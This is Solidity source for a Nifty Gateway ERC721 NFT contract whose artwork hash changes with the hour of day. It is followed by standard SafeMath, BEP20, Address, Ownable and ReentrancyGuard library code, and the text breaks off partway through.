mapping(uint256 => string) private _niftyTypeIPFSHashes;
// Mapping from token ID to owner address.
mapping (uint256 => address) internal _owners;
// Mapping owner address to token count, by aggregating all _typeCount NFTs in the contact.
mapping (address => uint256) internal _balances;
// Mapping from token ID to approved address.
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals.
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the token collection.
*/
constructor() NiftyEntity() {
_id = 1;
_typeCount = 1;
_symbol = "YOUNGANDSICK";
_name = "I/'M CHANGING ALL THE TIME";
_baseURI = "https://api.niftygateway.com/youngandsickchanging4ever/";
_defaultOwner = 0xE052113bd7D7700d623414a0a4585BCaE754E9d5; //Mainnet
midLevelMultiplier = 10000;
topLevelMultiplier = 100000000;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the link to artificat location for a given token by 'tokenId'.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query.
* @return The location where the artifact assets are stored.
*/
function tokenURI(uint256 tokenId) external view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory tokenIdStr = Strings.toString(tokenId);
// here
return string(abi.encodePacked(_baseURI, tokenIdStr));
}
/**
* @dev Determine which NFT in the contract (_typeCount) is associated
* with this 'tokenId'.
*/
function _getNiftyTypeId(uint256 tokenId) internal view returns (uint256) {
return (tokenId - topLevelMultiplier) / midLevelMultiplier;
}
/**
* @dev Returns the Name for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenName(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: Name query for nonexistent token");
uint256 niftyType = _getNiftyTypeId(tokenId);
return _niftyTypeName[niftyType];
}
/**
* @dev Internal function to set the token IPFS hash for a nifty type.
* @param niftyType uint256 ID component of the token to set its IPFS hash
* @param ipfs_hash string IPFS link to assign
*/
function _setTokenIPFSHashNiftyType(uint256 niftyType, string memory ipfs_hash) internal {
require(bytes(_niftyTypeIPFSHashes[niftyType]).length == 0, "ERC721Metadata: IPFS hash already set");
_niftyTypeIPFSHashes[niftyType] = ipfs_hash;
}
/**
* @dev Internal function to set the name for a nifty type.
* @param niftyType uint256 of nifty type name to be set
* @param nifty_type_name name of nifty type
*/
function _setNiftyTypeName(uint256 niftyType, string memory nifty_type_name) internal {
_niftyTypeName[niftyType] = nifty_type_name;
}
/**
* @dev Base URI for computing {tokenURI}.
*/
function _setBaseURI(string memory baseURI_) internal {
_baseURI = baseURI_;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (isContract(to)) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/standard/ERC721Burnable.sol
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// File: contracts/interface/IDateTime.sol
/**
*
*/
interface IDateTime {
function getHour(uint timestamp) external view virtual returns (uint8);
}
// File: contracts/core/NiftyBuilderInstance.sol
/**
* XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
* XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX .*** XXXXXXXXXXXXXXXXXX
* XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ,********* XXXXXXXXXXXXXXXX
* XXXXXXXXXXXXXXXXXXXXXXXXXXXX *************** XXXXXXXXXXXXX
* XXXXXXXXXXXXXXXXXXXXXXXXX .******************* XXXXXXXXXXX
* XXXXXXXXXXXXXXXXXXXXXXX *********** ********** XXXXXXXX
* XXXXXXXXXXXXXXXXXXXX *********** *********** XXXXXX
* XXXXXXXXXXXXXXXXXX *********** *************** XXX
* XXXXXXXXXXXXXXXX *********** **** ********* XX
* XXXXXXXXXXXXXXXX ********* *** *** ********* X
* XXXXXXXXXXXXXXXX ********** ***** *********** XXX
* XXXXXXXXXXXX /////.************* *********** XXXX
* XXXXXXXXX /////////...*********** ************ XXXXXX
* XXXXXXX/ ///////////..... ///////// /////////// XXXXXXXX
* XXXXXX / //////........./////////////////// XXXXXXXXXX
* XXXXXXXXXX .///////...........////////////// XXXXXXXXXXXXX
* XXXXXXXXX .///////.....//..//// ///////// XXXXXXXXXXXXXXXX
* XXXXXXX# ///////////////////// XXXXXXXXXXXXXXXXXXXXXXXXXXXX
* XXXXX //////////////////// XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
* XX ////////////// ////// XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
* XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
*
* @dev Nifty Gateway extension of customized NFT contract, encapsulates
* logic for minting new tokens, and concluding the minting process.
*/
contract NiftyBuilderInstance is ERC721, ERC721Burnable {
// Engine of nifty type dynamism.
address public _dateTimeContract;
string[4] artifact = [
"Qme1snzsP2ayV8dchUAuMf7xq9zWk6NhgFYp9XLY7gvqMy", // State A HR: 00-05
"QmRv8UPSGoGj7vu2RB3qhhAXzEQej9kEaUNBQ8qq8RvdDj", // State B HR: 06-11
"QmTAJAB1y9ezDF6GnBEzrsKPZR6QvVQQau34QfKKF2sX9x", // State C HR: 12-17
"QmbYUYRLjcuEp7VwEFmJAFxLfwdt5qUY1rHJAeJxta61Xv" // State D HR: 18-23
];
// The artist associated with the collection.
string private _creator;
// Number of NFTs minted for a given 'typeCount'.
mapping (uint256 => uint256) public _mintCount;
/**
* @dev Serves as a gas cost optimized boolean flag
* to indicate whether the minting process has been
* concluded for a given 'typeCount', correspinds
* to the {_getFinalized} and {setFinalized}.
*/
mapping (uint256 => bytes32) private _finalized;
/**
* @dev Emitted when tokens are created.
*/
event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress);
/**
* @dev Ultimate instantiation of a Nifty Gateway NFT collection.
*/
constructor() ERC721() {
_creator = "Young & Sick";
_dateTimeContract = 0x740a637ADD6492e5FaA907AF0fe708770B737058; //Mainnet
_setNiftyTypeName(1, "I\'M CHANGING ALL THE TIME");
}
/**
* Configurable address for DateTime.
*/
function setDateTimeContract(address dateTimeContract_) public onlyValidSender {
_dateTimeContract = dateTimeContract_;
}
/**
* @dev Generate canonical Nifty Gateway token representation.
* Nifty contracts have a data model called a 'niftyType' (typeCount)
* The 'niftyType' refers to a specific nifty in our contract, note
* that it gives no information about the edition size. In a given
* contract, 'niftyType' 1 could be an edition of 10, while 'niftyType'
* 2 is a 1/1, etc.
* The token IDs are encoded as follows: {id}{niftyType}{edition #}
* 'niftyType' has 4 digits, and edition number does as well, to allow
* for 9999 possible 'niftyType' and 9999 of each edition in each contract.
* Example token id: [500010270]
* This is from contract #5, it is 'niftyType' 1 in the contract, and it is
* edition #270 of 'niftyType' 1.
*/
function _encodeTokenId(uint256 niftyType, uint256 tokenNumber) private view returns (uint256) {
return (topLevelMultiplier + (niftyType * midLevelMultiplier) + tokenNumber);
}
/**
* @dev Determine whether it is possible to mint additional NFTs for this 'niftyType'.
*/
function _getFinalized(uint256 niftyType) public view returns (bool) {
bytes32 chunk = _finalized[niftyType / 256];
return (chunk & bytes32(1 << (niftyType % 256))) != 0x0;
}
/**
* @dev Prevent the minting of additional NFTs of this 'niftyType'.
*/
function setFinalized(uint256 niftyType) public onlyValidSender {
uint256 quotient = niftyType / 256;
bytes32 chunk = _finalized[quotient];
_finalized[quotient] = chunk | bytes32(1 << (niftyType % 256));
}
/**
* @dev The artist of this collection.
*/
function creator() public view virtual returns (string memory) {
return _creator;
}
/**
* @dev Assign the root location where the artifact assets are stored.
*/
function setBaseURI(string memory baseURI) public onlyValidSender {
_setBaseURI(baseURI);
}
/**
* @dev Allow owner to change nifty name, by 'niftyType'.
*/
function setNiftyName(uint256 niftyType, string memory niftyName) public onlyValidSender {
_setNiftyTypeName(niftyType, niftyName);
}
/**
* @dev Assign the IPFS hash of canonical artifcat file, by 'niftyType'.
*/
function setNiftyIPFSHash(uint256 niftyType, string memory hashIPFS) public onlyValidSender {
_setTokenIPFSHashNiftyType(niftyType, hashIPFS);
}
/**
* @dev Create specified number of nifties en masse.
* Once an NFT collection is spawned by the factory contract, we make calls to set the IPFS
* hash (above) for each Nifty type in the collection.
* Subsequently calls are issued to this function to mint the appropriate number of tokens
* for the project.
*/
function mintNifty(uint256 niftyType, uint256 count) public onlyValidSender {
require(!_getFinalized(niftyType), "NiftyBuilderInstance: minting concluded for nifty type");
uint256 tokenNumber = _mintCount[niftyType] + 1;
uint256 tokenId00 = _encodeTokenId(niftyType, tokenNumber);
uint256 tokenId01 = tokenId00 + count - 1;
for (uint256 tokenId = tokenId00; tokenId <= tokenId01; tokenId++) {
_owners[tokenId] = _defaultOwner;
}
_mintCount[niftyType] += count;
_balances[_defaultOwner] += count;
emit ConsecutiveTransfer(tokenId00, tokenId01, address(0), _defaultOwner);
}
/**
* @dev Returns an IPFS hash for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query.
* @return IPFS hash for this (_typeCount) NFT.
*/
function tokenIPFSHash(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: IPFS hash query for nonexistent token");
uint8 hour = IDateTime(_dateTimeContract).getHour(block.timestamp);
uint currentStateIndex = uint(hour) / 6;
return artifact[currentStateIndex];
}
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2442,
4839,
1998,
102
]
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|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IBEP20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IBEP20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeBEP20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeBEP20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
